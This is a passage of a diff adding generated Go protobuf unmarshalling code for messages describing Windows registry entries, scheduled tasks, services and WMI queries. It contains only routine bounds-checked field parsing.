protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Registry) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Registry: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Registry: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hive", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Hive = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Key", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Key = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *RegistryWriteRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: RegistryWriteRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: RegistryWriteRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hive", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Hive = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Key", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Key = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field StringValue", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.StringValue = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ByteValue", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ByteValue = append(m.ByteValue[:0], dAtA[iNdEx:postIndex]...) + if m.ByteValue == nil { + m.ByteValue = []byte{} + } + iNdEx = postIndex + case 7: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field DwordValue", wireType) + } + m.DwordValue = 0 + m.DwordValue, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 8: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field QwordValue", wireType) + } + m.QwordValue = 0 + m.QwordValue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 10: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Regtype", wireType) + } + m.Regtype = 0 + m.Regtype, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskScheduleRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskScheduleRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskScheduleRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Taskschd", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Taskschd == nil { + m.Taskschd = &TaskSchedule{} + } + if err := m.Taskschd.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskSchedule) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskSchedule: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskSchedule: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ExecutablePath", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ExecutablePath = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TriggerType", wireType) + } + m.TriggerType = 0 + m.TriggerType, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field StartBoundary", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.StartBoundary = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Description", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Description = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 7: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Enabled", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Enabled = bool(v != 0) + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field LastRunTime", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.LastRunTime = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 9: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field NextRunTime", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.NextRunTime = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskSchedulesResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskSchedulesResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskSchedulesResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Schedules", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Schedules = append(m.Schedules, &TaskSchedule{}) + if err := m.Schedules[len(m.Schedules)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ServiceRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ServiceRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ServiceRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Service", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Service == nil { + m.Service = &ServiceConfig{} + } + if err := m.Service.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ServiceConfig) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ServiceConfig: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ServiceConfig: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field DisplayName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.DisplayName = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ExecutablePath", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ExecutablePath = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field StartType", wireType) + } + m.StartType = 0 + m.StartType, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ErrorControl", wireType) + } + m.ErrorControl = 0 + m.ErrorControl, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field AccountName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.AccountName = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ServiceStatus) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ServiceStatus: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ServiceStatus: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field CurrentState", wireType) + } + m.CurrentState = 0 + m.CurrentState, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ProcessId", wireType) + } + m.ProcessId = 0 + m.ProcessId, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ExitCode", wireType) + } + m.ExitCode = 0 + m.ExitCode, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Checkpoint", wireType) + } + m.Checkpoint = 0 + m.Checkpoint, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field WaitHint", wireType) + } + m.WaitHint = 0 + m.WaitHint, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Service) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Service: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Service: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Config", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Config == nil { + m.Config = &ServiceConfig{} + } + if err := m.Config.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Status", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Status == nil { + m.Status = &ServiceStatus{} + } + if err := m.Status.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ServicesResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ServicesResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ServicesResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Services", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Services = append(m.Services, &Service{}) + if err := m.Services[len(m.Services)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *WmiQueryRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: WmiQueryRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: WmiQueryRequest: illegal tag %d (wire type %d)", 